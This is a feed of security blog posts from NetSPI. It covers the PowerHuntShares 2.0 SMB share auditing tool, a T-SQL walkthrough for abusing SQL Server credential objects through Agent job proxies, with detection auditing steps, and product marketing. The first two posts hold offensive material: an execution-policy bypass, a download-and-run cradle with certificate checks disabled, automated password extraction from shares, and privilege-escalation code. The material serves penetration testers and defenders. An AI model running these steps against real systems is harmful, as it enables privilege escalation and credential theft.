Scott Sutherland, Author at NetSPI The Proactive Security Solution Thu, 14 Nov 2024 21:42:51 +0000 en-US hourly 1 https://wordpress.org/?v=6.7.1 https://www.netspi.com/wp-content/uploads/2024/03/favicon.png Scott Sutherland, Author at NetSPI 32 32 Hunting SMB Shares, Again! Charts, Graphs, Passwords & LLM Magic for PowerHuntShares 2.0 https://www.netspi.com/blog/technical-blog/network-pentesting/powerhuntshares-2-0-release/ Thu, 14 Nov 2024 21:42:48 +0000 https://www.netspi.com/?p=25956 Learn how to identify, understand, attack, and remediate SMB shares configured with excessive privilege in active directory environments with the help of new charts, graphs, and LLM capabilities.

The post Hunting SMB Shares, Again! Charts, Graphs, Passwords & LLM Magic for PowerHuntShares 2.0 appeared first on NetSPI.

]]>
Every hacker has a story about abusing SMB shares, but it’s an attack surface that cybersecurity teams still struggle to understand, manage, and defend. For the benefit of both attackers and defenders, I started an open-source GitHub project a few years ago called “PowerHuntShares”. It focuses on distilling data related to shares configured with excessive privileges to better understand their relationships and risk. A lot has happened in the industry since the tool’s creation, so the PowerHuntShares v2 release is focused on making incremental progress by exploring some additional analysis techniques to help cybersecurity teams and penetration testers better identify, understand, attack, and remediate SMB shares in their environments. For those interested in the previous PowerHuntShares release, here is the blog and presentation.

Let the pseudo-TLDR/release notes begin!

TLDR: New Functionality & Insights

  • Interesting File Discovery (~ 200)
  • Automated Secrets Extraction (50)
  • Share & Application Fingerprinting – LLM-Based & Static (80)
  • Asset Risk Scoring
  • Share Similarity Scoring
  • Peer Comparison Benchmark
  • Share Creation Timeline Chart
  • Remediation & Task Reduction Calculations
  • ShareGraph Explorer

TLDR: Basic Functionality

  • Updated tables to support sort, filter, and csv export
  • Added charts that support csv and image export options using ApexCharts.js
  • Basic style updates

This release is packed with new functionality and insights, so let’s dive in!

Running PowerHuntShares

I’ve provided more details on the GitHub page, but PowerHuntShares is a simple PowerShell script that can be downloaded and run using PowerShell 5.1 or greater on Windows systems. Below is a summary of how to get started.

1. Download PowerHuntShares here.

2. Bypass the PowerShell execution policy if needed.

# Bypass execution policy restrictions
Set-ExecutionPolicy -Scope Process Bypass

*Additional Options Here – https://www.netspi.com/blog/technical-blog/network-pentesting/15-ways-to-bypass-the-powershell-execution-policy/

3. Load PowerHuntShares in one of two ways:

a. Option 1: Open PowerShell and import the module.

# Import module from the current directory
Import-Module .\PowerHuntShares.psm1

b. Option 2: Open PowerShell and load it directly from the internet.

# Reduce SSL operating level to support connection to GitHub
[System.Net.ServicePointManager]::ServerCertificateValidationCallback ={$true}
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12

# Download and load PowerHuntShares.psm1 into memory
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")

4. Run PowerHuntShares from the PowerShell console. If you are already a domain user on a computer associated with the target Active Directory domain, you can just run it. If you are starting from a non-domain system typically people run it using the process below.

a. Open cmd.exe and execute PowerShell or PowerShell ISE using the runas command so that network communication authenticates using a provided set of domain credentials.

runas /netonly /user:domain\user PowerShell.exe Set-ExecutionPolicy -Scope Process Bypass Import-Module Invoke-HuntSMBShares.ps1 Invoke-HuntSMBShares -Threads 20 -RunSpaceTimeOut 10 -OutputDirectory c:\folder\ -DomainController 10.1.1.1 -Username domain\user -Password password

Note: I’ve tried to provide time stamps and output during run-time, so you know what it’s doing.

After running, PowerHuntShares will output a new directory that contains an interactive HTML report, and a subdirectory named Results.

The Results directory houses csv files containing all the computer, share, file, and permission data collected, including things like excessive privileges and stored secret samples.

The interactive HTML report attempts to consolidate and summarize the results. You can expect the report to look something like this. It feels like a web app, but it’s really just a bloated HTML file ;).

Alrighty, now they we’ve covered how to run the basic script, let’s dig into some of the v2 features.

Risk Scoring

“Be honest, how bad is it?”

Some environments have thousands of insecure share permissions that need to be fixed, so a little guidance for prioritizing remediation can go a long way. That’s why risk scoring was such an important thing to include in this release. I may cover the (super simple) math in more depth in another blog, but for now just know that the risk model is a simple formula that helps evaluate and rank risk based on the questions below:

  • Is the share name known to be remotely exploitable?
  • Is the share writable?
  • Is the share readable?
  • Does the share potentially contain sensitive data?
  • Does the share potentially contain stored secrets?
  • Has the share been modified in the last year?
  • Is it a default share?
  • Is the share empty?

Yep, that’s it. Super simple.

When the PowerHuntShares PowerShell script runs, it will automatically evaluate the risk of every excessive permission it finds and save it to a csv file for you. However, I also wanted to include some of those results in the HTML report. While every page in the HTML report has a chart related to risk, the dashboard includes a nifty little chart showing the total number of permissions that fall into each risk bucket. You can also click the buttons for more details.

By default, the bar chart only shows ACEs with excessive permissions, but you can click Networks, Computers, and Shares to see the number of affected assets for each risk level, as shown below.

In the example above, you can see that 13 critical risk permissions were found on 7 shares, hosted on 2 computers, on one subnet.

Similarity Scoring

“How similar are shares that have the same name, can I fix them all at once?”

In the first version of PowerHuntShares I attempted to help blue teams reduce the number of remediation tasks by grouping shares by their name. However, the reality is that just because they share a name, doesn’t mean they’re the same. So, this round I wanted to find a more accurate way to measure and rank how similar groups of shares are based on some common criteria. I can cover the (very simple) math in another blog, but for your general knowledge, the similarity score is based on a formula that uses the following items to determine how similar a group of shares is:

  • Share Name
  • File Name (How many files of the same name exist in 10% or more of the shares in the group)
  • Folder Group Coverage (How many unique file listings exist)
  • Creation date to share name ratio
  • Last modified date to share name ratio
  • Owner to share name ratio
  • Folder group to share name ratio
  • Share descriptions to share name ratio

Now, you may be asking yourself, “Aren’t there cooler ways to measure similarity? Why didn’t I use a badass, well-known clustering algorithm for this?”. To that I would say, yes, that would be fun, but I’m using PowerShell to generate all of this and wanted to keep it “simple”. I was able to get the data into a cytoscape.js graph, but I didn’t have time to play with the algorithms for this release, maybe next round. 🙂 For now, you can find the similarity score in the “Share Names” section of the HTML report. As shown below, you can see the number of shares with the same name, their calculated similarity, number of folder groups, files share across share, and more.

Expandable Sections

“Show me more!”

Several people said that it would be nice if they had the ability to drill down into the data found in the HTML report tables. You have been heard. On the “Share Names” page we saw in the last section, you can now drill down into every column of every row, and you can click any of the items below to expand.

Expanding each section reveals a lot more data for those interested in more context. That includes, but is not limited to share application fingerprinting, creation/last modified dates, share owners, and even file listings.

Is it perfect? No. Is it a start in the right direction? Hopefully. 🙂

Peer Comparison Benchmark

“So, I have 1,000 critical risk configurations, really? Good to know, but how do I compare to my peers?”

I hear people say things like that a lot. Generally, I think some people want the option to say, “yeah, we’re not great, but neither is anyone else”. Regardless, if I think that is a valid or healthy narrative, I’ve distilled a lot of data to identify rough averages for the percentage of computers, shares, and permissions (ACE) affected by SMB share excessive permissions we’ve observed in the past. The numbers are not perfect, the numbers will suffer from data drift, but my hope is they will also give people a rough idea of how they compare to “normal”. Below is a look at the peer comparison chart on the HTML report dashboard.

Remediation Task Reduction Calculations

“Wait, I can fix 10 things instead of 1,000? Tell me how that works!”

Naturally, grouping shares by folder group, share name, or similarity score and remediating each group at once, can dramatically reduce the time it will take to clean up your environment. In some cases, we’ve seen up to a 90% reduction in remediation tasks. The remediation section of the dashboard now includes a summary and chart showing the benefits of those approaches.

Share Creation Timeline Chart

“When did all this happen, how long have we had this exposure?”

That’s another question I’ve heard from clients. The Share Creation Timeline is my second attempt to illustrate the story of offending share creation and how long high and critical risk configurations have been in the environment. This round I also added a line to show where the average is and attempted to identify abnormal spikes in share creation using standard deviation. I’ve found it helpful for storytelling. However, if you want to play with the time series data on your own, PowerHuntShares automatically saves the creation, last accessed, and last modified dates to the csv output files.

As a quick note, I used apexcharts.js for this timeline chart.

Share Fingerprinting

“I have no memory of this place.”

It is common for clients to have no idea what their shares are used for. In most companies there usually isn’t a person who knows the activities of every business unit. So having ways to generate additional context is useful for blue teams (and pentesters).  To help with that, I added a couple of methods for guessing the application context using static lists and optionally, the all mighty Large Language Model (LLM).

Static Share Fingerprinting Library

I did a little research on common applications and the shares they create. Out of that research, I created an initial library of about 80 applications and the associated share names. This fingerprint method will always run automatically. Accuracy is ok, but somewhere around ~70%.

LLM-Based Share Fingerprinting

Who wants to put AI in everything? Me, apparently. Guessing what applications are associated with share names alone can be tricky. I wanted a better way to identify potentially related applications using both the share name and the file listings. It turns out that a little bit of LLM prompt-foo can go a long way here. Accuracy is a little higher with this method coming in around ~80%.

For this first round, I decided to use Azure OpenAI Studio to spin up GPT 4o and GPT 4o mini endpoints. Thanks to Karl Fosaaen and Nick Stang, I’ve become a big fan. It was easy to set up and get rolling in no time. I’m not going to cover setup of the Azure endpoints in this blog, but I will say that once you have it setup, all you’ll need to get started with the new PowerHuntShares functionality is the API key and endpoint.

Below is a sample command, but please remember this has only been tested with the configuration above. No fine tuning was done, and no RAGs were used.

Invoke-HuntSMBShares -OutputDirectory C:\temp\ -ApiKey "[YourApiKey]" -Endpoint "https://yourendpoint.openai.azure.com/openai/deployments/yourendpoint/chat/completions?api-version=1849-08-01-preview" 

For those that want to play with share application fingerprinting without PowerHuntShares, I’ve also created a couple standalone functions here. Below are a few sample commands to give you a vibe for the options.

# Simple output from text query

Invoke-LLMRequest -SimpleOutput -apikey "your_api_key" -endpoint "https://[yourapiname].openai.azure.com/openai/deployments/[yourapiname]/chat/completions?api-version=[configuredversion]" -text "What is 2+2?"

# Simple output from text query with image upload

Invoke-LLMRequest -SimpleOutput -apikey "your_api_key" -endpoint "https://[yourapiname].openai.azure.com/openai/deployments/[yourapiname]/chat/completions?api-version=[configuredversion]" -text "What is this an image of?" -ImagePath "c:\temp\apple.png"

# Full output with all response meta data

Invoke-LLMRequest -apikey "your_api_key" -endpoint "https://[yourapiname].openai.azure.com/openai/deployments/[yourapiname]/chat/completions?api-version=[configuredversion]" -text "What is 2+2?"

# Name from Command Line

Invoke-FingerprintShare -verbose  -ShareName "sccm" -FileList "variables.dat" -APIKEY "your_api_key" -Endpoint "https://[yourapiname].openai.azure.com/openai/deployments/[yourapiname]/chat/completions?api-version=[configuredversion]"

# CSV Import

Invoke-FingerprintShare -MakeLog -verbose  -OutputFile 'c:\temp\testouput.csv' -FilePath "c:\temp\testinput.csv" -APIKEY "your_api_key" -Endpoint "https://[yourapiname].openai.azure.com/openai/deployments/[yourapiname]/chat/completions?api-version=[configuredversion]"

# Data Table Import

Invoke-FingerprintShare -verbose -DataTable $exampleTable -APIKEY "your_api_key" -Endpoint "https://[yourapiname].openai.azure.com/openai/deployments/[yourapiname]/chat/completions?api-version=[configuredversion]"

# Name from Command Line, CSV Import, and Data Table Import

Invoke-FingerprintShare -Verbose  -OutputFile 'c:\temp\testouput.csv' -FilePath "c:\temp\testinput.csv" -ShareName "sccm" -FileList "variables.dat" -DataTable $exampleTable -APIKEY "your_api_key" -Endpoint "https://[yourapiname].openai.azure.com/openai/deployments/[yourapiname]/chat/completions?api-version=[configuredversion]"

If you do end up using PowerHuntShares with the LLM option, it will generate additional csv files that include your results, and you can browse summary data in the interactive HTML report. The dashboard also includes an asset exposure summary. All the application related data is generated from the LLM requests. If you do not opt-in to use the LLM capabilities, this section simply won’t include the application related information.

If LLM capabilities are used, you’ll also be able to see the static and LLM application guess when expanding Share names on the “Share Names” page.

Finally, the guessed applications will be included in the folder group page to help provide additional context. As shown below, if the shares/files can’t be associated with an application, the “related app” section will be left blank or “unknown”.

There is a lot more work to do in this space related to performance, accuracy, and benchmarking, but that will have to be something I revisit in future blogs and releases.

Share Graph

“Can you help me visualize some of these share relationships?”

I’ve only heard that a few times from clients, but I wanted an excuse to play with graph visualization, so here we are. This round I used cytoscape.js to help convert share data into nodes and edges that we can explore in the HTML report. This is still very experimental, but it does support the basic feature below:

  • Search
    • Keyword match
    • Shortest Path
    • Blast Radius
    • Save Image
  • Filter
    • Filter out object types
  • Layout
    • Hide/Show labels
    • Change layout using preset algorithms
    • Zoom in/out
    • Reset
    • Show all nodes
  • Canvas (right-click nodes)
    • Center
    • Select
    • Expand
    • View
    • Hide
    • Show

I’ll wait to get feedback from folks before spending too much more time fixing bugs or building out new features. Below is a quick sample screenshot.

As I mentioned before, Cytoscape.js also supports a variety of super fun algorithms that can be used for a number of use cases, so hopefully I will get some time to explore their utility in the next release.

Interesting File Discovery

“Excessive privileges are bad, but what data is actually exposed?”

That is a common question from attackers and defenders alike. There are a lot of tools out there that can help with this, but a few people asked if I could roll some of that basic functionality into PowerHuntShares. I did a little research and came up with about 200 file types/keywords and mapped them to 7 file categories related to data exposure and remote code execution opportunities. Hopefully the functionality will help people better understand where there may be risk of password exposure, data exposure, or command execution. Those categories include:

  • Sensitive
  • Secret
  • SystemImage
  • Database
  • Backup
  • Script
  • Binaries

I realize that people may have their own categories and lists of target files/extensions, so I also added a feature to allow you to import those at runtime. You can download the template file here, and then use it to search for things you care about using the command below.

Invoke-HuntSMBShares -OutputDirectory 'c:\temp' -DomainController 'dc1.domain.com' -Username 'domain.com\user' -Password 'YourPassword' -FileKeywordsPath "C:\temp\interesting-files-template.csv"

Either way, PowerHuntShares will save your output to the csv and show your categories in the interactive HTML report. Below is a sample screenshot of the summary chart found on the dashboard page.

There is also a dedicated Interesting Files page that allows you to search, filter, dig into, and export UNC paths for files you may care about.

Secrets Extraction from Configuration Files

“Cool, I like the interesting files thing, but could you parse the passwords for me?”

I’ve heard this a lot from the pentest test team. I also researched common configuration files and wrote 50 configuration file parsers that can extract credentials of various types. They are all run automatically. For example, if the scanner finds a web.config file, it will extract the username, password, and other relevant bits from the file, save them to csv, and include them in the interactive HTML report shown below.

Just like the other tables, you can search, filter, sort, and export the list of target files. Also, as a bonus I have released the individual configuration parsers as standalone PowerShell scripts along with sample configuration files.

Considering I wrote 50 new parsers, my guess is that there will be edge cases that I haven’t considered. So, if you find a bug, please submit an issue or pull request to the GitHub project. If you’re not code savvy, also feel free to reach out to me on Twitter/X.

While youre surfing GitHub for more open-source projects in this space, I also recommend checking out SMBeagle, Snaffler , Nemesis, and of course the original Find-InterestingFile function from PowerSploit.

Mini Video Walkthrough

Below is a quick video walk through of the new updates in the PowerHuntShares v2 release.

Wrapping Up

This is still the beginning of exploring how we can better identify, understand, attack, and remediate SMB shares in Active Directory environments at scale.  There are many features and fixes I would like to apply to PowerHuntShares as time goes on, but for the meantime, I hope this release helps open some new doors for people.

Happy hunting and don’t forget to hack responsibly! 😊

The post Hunting SMB Shares, Again! Charts, Graphs, Passwords & LLM Magic for PowerHuntShares 2.0 appeared first on NetSPI.

]]>
Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation  https://www.netspi.com/blog/technical-blog/network-pentesting/hijacking-sql-server-credentials-with-agent-jobs-for-domain-privilege-escalation/ Tue, 10 Sep 2024 14:00:00 +0000 https://www.netspi.com/?p=25333 Learn how threat actors can exploit SQL Server credential objects to escalate domain privileges and how you can detect it.

The post Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation  appeared first on NetSPI.

]]>
In this blog I’ll introduce SQL Server credential objects and discuss how they can be abused by threat actors to execute code as either a SQL Server login, local Windows user, or Domain user. I’ll also cover how to enable logging that can be used to detect the associated behavior. This should be interesting to penetration testers, red teamers, and DBAs looking for legitimate authentication work arounds. 

The Scenario 

Let’s start by painting a picture of a common scenario and the problem we are trying to solve with this technique. 

  1. You are a penetration tester or red teamer.
  2. You have obtained sysadmin privilege on a SQL Server instance through a common attack vector, such as SQL Injection, weak password, excessive privilege, or misconfigured SQL Server link.
  3. You can execute commands and code on the host operating system in the context of the SQL Server service account using a variety of techniques like xp_cmdshell, custom CLRs, agent jobs, etc.
  4. The problem is that the SQL Server service account is configured to run as NT Service\MSSQLSERVER, which is an account with limited privileges on the operating system. As testers we want local administrator privileges at a minimum and Domain Admin if we are lucky. So, we need to find a workaround.
  5. Given the limitations of the NT Service\MSSQLSERVER account, our next step is often attempting to escalate privileges locally. There are many OS-centric approaches to privilege escalation in Windows including, but not limited to #AllThePotatoes. However, I wanted to consider how SQL Server credentials could potentially be abused in this scenario if they have been configured on a SQL Server instance. 

Let’s explore the idea. 

What is a Credential Object in SQL Server? 

Credentials are objects in SQL Server that store information, such as usernames and passwords, which can be used to authenticate to external resources like other SQL Servers, file shares, or web services, and execute processes/tasks in the context of another user. Credential types include SQL Server logins, local Windows users, and Active Directory domain users.  

Some common subsystems in SQL Server that use credentials include: 

  • Agent Jobs
  • SQL Server Integration Services (SSIS)
  • SQL Server Reporting Services (SSRS)
  • Linked Servers 
  • Database Mail 
  • Service Broker 
  • Replication 

There are many legitimate use cases for credential objects in SQL Server, but like all stored authentication tokens, they can be targeted and abused by threat actors.   

How can I Recover the Usernames and Passwords Stored in Credential Objects? 

Obtaining cleartext passwords can be incredibly useful during privilege escalation. So how do we recover them from the SQL Server credential objects?  The big hurdle is encryption. The information stored in credential objects is encrypted through the process described here.   

Fortunately, Antti Rantasaari developed a PowerShell script in 2014 that decrypts the credentials stored in SQL Server objects. He also provided a detailed blog post outlining the decryption process. This script has since been ported to the Get-DecryptedObject function within the DBATools module by Chrissy LeMaire, who has maintained it actively. 

To run Antti’s function, import his PowerShell function, and run the command below. 

Get-MSSQLCredentialPasswords 

However, before you start down that path you should know there are some requirements.

AvailableRequirementDescription
YesOne or more credential objects must have been created in the SQL Server instance to recover passwords.In our scenario, we assume credential objects have been created. However, in the real world you will have to confirm that.
YesSysadmin privilegeIn our scenario we have this.
YesDAC connectionWith sysadmin rights we can establish one through OS command execution or ad-hoc queries.
NoLocal Administrator PrivilegesLocal administrator privileges are required to read the encryption material from SOFTWARE\Microsoft\Microsoft SQL Server\[instancename]\Security\Entropy. Service\MSSQLSERVER account does NOT have access to that registry key.  

In our scenario, we do not meet all the necessary requirements to recover cleartext passwords from the credential objects. Antti Rantasaari’s technique is highly effective, but it requires that we already have local administrative privileges on the Windows system hosting the SQL Server instance. Without these administrative privileges, the technique cannot be applied. So, what are our options if we don’t have local administrative privileges? 

How can I Abuse SQL Server Credential Objects without Local Administrator Access? 

As discussed earlier, credential objects in SQL Server are designed to enable access to external resources and execute tasks in the context of another user. This means that we do not need to recover the cleartext usernames and passwords stored in credential objects to run code in another user’s context—we can leverage the functionality as it was designed. 

Below is a process that can be used to “hijack” an existing credential object configured on the SQL Server instance, allowing you to execute code in the provided user’s context using SQL Server Agent jobs. No password or local OS administrator privileges required. 🙂 

Lab Setup 

  1. Install SQL Server. 
  2. Create a local Windows user named testuser and make it a local administrator. 
net user testuser P@ssw0rd! /add 
net localgroup administrators /add testuser 
  1. Log into the SQL Server and create the credential object. 
CREATE CREDENTIAL [MyCredential] 
WITH IDENTITY = 'yourcomputernamehere\testuser',  
SECRET = 'P@ssw0rd!'; 

Credential Impersonation Walkthrough 

  1. Log into the SQL Server instance. Verify that you have sysadmin access. 
SELECT IS_SRVROLEMEMBER('sysadmin') AS IsSysAdmin;
  1. List credentials. The query below will provide you with a list of credentials configured on the SQL Server instance. If any exist, you’re halfway there. 
SELECT * FROM sys.credentials 
  1. List proxy accounts. Proxy accounts are tied to the credential object and used by the agent jobs. Leveraging an existing proxy account can reduce the likelihood of detection. 
USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO 
  1. Create a proxy account. If a proxy account doesn’t already exist for the credential object we want to abuse/impersonate, then we can create one and assign it the required privileges.  For more information on proxy accounts check out https://learn.microsoft.com/en-us/sql/ssms/agent/create-a-sql-server-agent-proxy?view=sql-server-ver16
USE msdb; 
GO 

EXEC sp_add_proxy  
  @proxy_name = N'MyCredentialProxy',     -- Name of the proxy 
  @credential_name = N'MyCredential';      -- Name of the existing credential 

EXEC sp_grant_proxy_to_subsystem  
  @proxy_name = N'MyCredentialProxy',  
  @subsystem_id = 3; -- 3 represents the Operating System (CmdExec) subsystem 
  1. Verify the proxy account was created.
USE msdb; 
GO 

SELECT  
    proxy_id, 
    name AS proxy_name, 
    credential_id, 
    enabled 
FROM  
    dbo.sysproxies; 
GO 
  1. Create an Agent job to execute your desired code or commands on the operating system. Available default options include PowerShell, VBScript, JScript, and CMDEXEC. Ensure that the job is configured with the appropriate proxy account. In the proof-of-concept example below, the process simply creates a file named whoami.txt in the C:\Windows\Temp\ folder to demonstrate that the process was executed in the proxy user’s context. 
USE msdb; 
GO 

-- Create the job 
EXEC sp_add_job  
  @job_name = N'WhoAmIJob'; -- Name of the job 

-- Add a job step that uses the proxy to execute the whoami command 
EXEC sp_add_jobstep  
  @job_name = N'WhoAmIJob',  
  @step_name = N'ExecuteWhoAmI',  
  @subsystem = N'CmdExec',          
  @command = N'c:\windows\system32\cmd.exe /c whoami > c:\windows\temp\whoami.txt',           
  @on_success_action = 1,         -- 1 = Quit with success 
  @on_fail_action = 2,                     -- 2 = Quit with failure 
  @proxy_name = N'MyCredentialProxy';     -- The proxy created earlier 

-- Add a schedule to the job (optional, can be manual or scheduled) 
EXEC sp_add_jobschedule  
  @job_name = N'WhoAmIJob',  
  @name = N'RunOnce',  
  @freq_type = 1,             -- 1 = Once 
  @active_start_date = 20240820,       
  @active_start_time = 120000;            

-- Add the job to the SQL Server Agent 
EXEC sp_add_jobserver  
  @job_name = N'WhoAmIJob',  
  @server_name = N'(LOCAL)';  
  1. Use the query below to verify that the proxy account is being used by the Agent. The query will also list all other Agent jobs that are configured to run using proxy accounts. 
USE msdb; 
GO 

SELECT  
    jobs.name AS JobName, 
    steps.step_id AS StepID, 
    steps.step_name AS StepName, 
    proxies.name AS ProxyName, 
    ISNULL(credentials.name, 'No Credential') AS CredentialName, 
    ISNULL(credentials.credential_identity, 'No Identity') AS IdentityName 
FROM  
    msdb.dbo.sysjobs AS jobs 
JOIN  
    msdb.dbo.sysjobsteps AS steps ON jobs.job_id = steps.job_id 
JOIN  
    msdb.dbo.sysproxies AS proxies ON steps.proxy_id = proxies.proxy_id 
LEFT JOIN  
    sys.credentials AS credentials ON proxies.credential_id = credentials.credential_id 
WHERE  
    steps.proxy_id IS NOT NULL 
ORDER BY  
    jobs.name, steps.step_id; 
  1. Execute the Agent job so that a process will be started in the context of the proxy account and execute your code/command. 
EXEC sp_start_job @job_name = N'WhoAmIJob'; 
  1. Confirm execution by reviewing the c:\windows\temp\whoami.txt file contents. 

So, to recap, we were able to execute commands on the host operating system using the credentials without needing to know the associated username or password. However, at this point, if you were able to impersonate a user with local administrative privileges you can also recover the cleartext username and password from configured credential objects using Antti’s technique. 

Detection and Hunting Opportunities  

The previous section was great for attackers, but not so great for defenders. Below is an overview of some detection opportunities for the good guys.

Data Source: Application Logs 
Detection Strategy: Behavior 
Detection Concept:  To detect abuse of credential objects using proxy accounts, create server and database audit specifications that can identify when a proxy account is created by monitoring for the execution of the ‘sp_add_proxy’ and ‘sp_grant_proxy_to_subsystem’ stored procedures. SQL Server can also be configured to send those events to the Windows Application log where monitoring can be enabled for event ID 33205. 
Known Detection Consideration: Some database administrators may use credentials and proxy accounts for legitimate purposes, but it should not happen at a regular cadence. 

Detection Configuration Instructions: 

  1. Create the Server Audit. 
Use master 

CREATE SERVER AUDIT [ProxyAccountAudit]  
TO APPLICATION_LOG  
WITH (ON_FAILURE = CONTINUE);  
GO
  1. Create the Database Audit Specification. This captures server-level and database-level changes in the msdb database. 
USE msdb;  
GO  

CREATE DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
FOR SERVER AUDIT [ProxyAccountAudit]  
ADD (EXECUTE ON OBJECT::[dbo].[sp_add_proxy] BY [dbo]),  
ADD (EXECUTE ON OBJECT::[dbo].[sp_grant_proxy_to_subsystem] BY [dbo])  
WITH (STATE = ON);  
GO 
  1. Enable the specification.  
Use master 
GO 
ALTER SERVER AUDIT [ProxyAccountAudit] WITH (STATE = ON); 
GO 
Use msdb  
GO 
ALTER DATABASE AUDIT SPECIFICATION [ProxyAccountAuditSpec]  
WITH (STATE = ON);  
GO 
  1. If you rerun the proxy account creation steps and review the Windows Application Log for event ID 33205, you should see instances of the ‘sp_add_proxy’ and ‘sp_grant_proxy_to_subsystem’ stored procedure execution. 

Wrap Up 

If you’d like to explore my previous offensive security work related to SQL Server, you can find it at powerupsql.com. The site includes the PowerUpSQL code, SQL attack templates, Detection Templates, privilege escalation cheatsheets, blogs, and presentations focused on hacking SQL Server.

Note: I have not attempted to test this technique against Azure SQL Databases yet, but my preliminary research indicates credentials are not supported.

PS: A big thank you to Brian from 7 Minute Security (@7MinSec – 7minsec.com) for outlining the scenario/problem space that led to this solution.

The post Hijacking SQL Server Credentials using Agent Jobs for Domain Privilege Escalation  appeared first on NetSPI.

]]>
NetSPI Offensive Security Solutions Updates: Q1 2023 https://www.netspi.com/blog/executive-blog/netspi-updates/offensive-security-updates-q1-2023/ Tue, 07 Feb 2023 15:00:00 +0000 https://www.netspi.com/offensive-security-updates-q1-2023/ Learn how NetSPI’s updates to Penetration Testing as a Service (PTaaS), Attack Surface Management, and Breach and Attack Simulation can better secure your environment.

The post NetSPI Offensive Security Solutions Updates: Q1 2023 appeared first on NetSPI.

]]>
NetSPI prides itself on maintaining a leadership position in the global offensive security space by listening to client feedback, analyzing industry trends, and investing in breakthrough technology developments.

Over the last few months, our development teams have been busy, and are excited to introduce a variety of new features and capabilities across our Breach and Attack Simulation, Attack Surface Management, and Penetration Testing as a Service (PTaaS) solutions to help organizations improve security posture, streamline remediation, and protect themselves from adversaries.

Of the releases across our solutions portfolio, Breach and Attack Simulation (BAS) received the most significant updates, so let’s start there.

Breach and Attack Simulation (BAS) 

NetSPI BAS data shows that only 20% of common attack behaviors are detected by traditional EDR, SIEM, and MSSP solutions. Although most companies spend thousands, even millions, of dollars on detective controls, very few test to validate if they work and provide the value they claim to.

NetSPI’s Breach and Attack Simulation is designed to evaluate detective control effectiveness and educate security operations teams around common TTPs across the cyber kill chain. After many invaluable feedback sessions with NetSPI clients and hours of market research, we are excited to unveil major updates to our Breach and Attack Simulation platform, dialing in on three core dashboards: the Workspace, Timeline, and Heat Map dashboards.

Workspace 

The Workspace is where red teams, purple teams, security engineers, and analysts will spend a majority of their time. Here, they can build, configure and run customized procedures to test their detective controls. Key features within the Workspace include:

  • Utilize preconfigured procedures – or customize your own – to put detective controls to the test 
  • Visualize security posture and identify gaps using detailed summary charts that update in real time. These can be saved and downloaded to easily share with SOC teams and executive leadership to highlight gaps and justify budget for new staff and technology. 
  • While in the Workspace, users can also learn about each detection phase (logged, detected, alerted, responded, and prevented) for common TTPs within the Mitre ATT&CK framework – down to the individual procedure level.  
  • The Activity Log feature allows security teams to ditch the spreadsheets, wiki pages, and notepads they currently use to track information around their detective control capabilities and centralize this information from a summary viewpoint down to the findings level, allowing streamlined communication and remediation. It will also automatically log play execution and visibility state changes. 
  • Tags allow security teams to see the number of malware and threat actors that use the specific technique, helping prioritize resources and remediation efforts. Tags can also be leveraged to generate custom playbooks that include procedures used by unique threat actors, allowing security teams to measure their resiliency to specific threats quickly and easily. 
  • Export test results in JSON or CSV, allowing the SOC team to plug information into existing business processes and products, or develop customized metrics. 

In summary, the Workspace is designed to educate and enable security teams to understand common attack procedures, how to detect them, and provide resources where they can learn more. 

Timeline 

While the Workspace shows a lot of great information, it focuses on a single point in time. The Timeline dashboard, however, allows you to measure detective controls over time.

This allows security teams to prove the value of investments in people, processes or technology. The Timeline Dashboard will also show where things have improved, stayed the same, or gotten worse at any stage of the Mitre ATT&CK kill chain.

While many competitive BAS offerings will show what is being Alerted on, a unique differentiator for NetSPI is the ability to filter results and show changes in what is logged, detected, alerted, responded, and prevented. These changes can be shown as a percentage (i.e. Logging improved 5 percent) or a count (i.e. Logging improved within two different procedures). Similarly to the Workspace, these charts can be downloaded and easily inserted into presentations, emails, or other reports as needed.

For additional information on how NetSPI defines logging, detection, alerting, response, and prevention, read How to Paint a Comprehensive Threat Detection Landscape

Heat Map

Security teams often refer to the Mitre ATT&CK framework, which shows the phases, tactics, or techniques of common TTPs and procedures seen in the wild. We know that many teams prefer seeing results in this framework, and as such, have built it into our Breach and Attack Simulation platform. BAS delivers a familiar way to interact with the data, while still connecting to the workspace created for detection engineers and other security team members.

As mentioned in the Timeline dashboard, a key differentiator is that we show the different visibility levels (logged, detected, alerted, responded, and prevented) within the Mitre ATT&CK framework coverage within each phase of the cyber kill chain and even down to each specific technique.

Here, we also have the ability to dig in and show all of the procedures that are supported within each technique category. These are then cross-linked back to the Workspace, to streamline remediation and re-testing of specific coverage gaps.

This is a quick summary of a few new features and benefits included in our updated Breach and Attack Simulation solution. If you would like to learn more, we encourage you to read our release notes, or contact us for a demo.

Attack Surface Management (ASM) 

Attack Surface Management continues to be a major focus and growing technology within the cybersecurity industry. NetSPI’s most recent ASM updates focus on organizing, filtering, and expanding on information that was previously included, but will now be even easier to locate and pull actionable information from.  

Three key new feature highlights from last quarter include Vulnerability Triggers, Certificate Transparency Logs, and the Subdomain Facet within our domain explore page.

Vulnerability Triggers

First off, what is a vulnerability? Vulnerabilities consist of any exploits of significant risk identified on your attack surface, which are found by combining both assets and exposures. Although a specific asset or exposure might not be very impactful, when combined into a series of steps it can result in a much greater risk.

With the recent introduction of Vulnerability Triggers, admins can now query assets and exposures for specific criteria based on preconfigured or customized search results, and alert on the ones that are the most concerning to you or your company. These Vulnerability Triggers can now be customized to search for criteria related to Domains, IPs, or Ports.

Long story short, Vulnerability triggers allow your company to not only search for common assets, exploits and vulnerabilities, but also key areas of concern for your executive team, industry, organization, or project.

Certificate Transparency Logs & Subdomain Facet

The next two new features are focused on root domain and subdomain discovery.

NetSPI’s ASM has searched root domains and subdomains since its creation, however we are proud to officially introduce Certificate Transparency Logs! We now ingest certificate transparency logs from public data sources, allowing us to significantly increase domain discovery.

We are also excited to announce the release of our Subdomain Facet within our domain explore page. It is common for companies to have tens, or even hundreds, of subdomains on their attack surface, however with the Subdomain Facet within our domains explore page, you will now be able to filter the common subdomains on your attack surface.

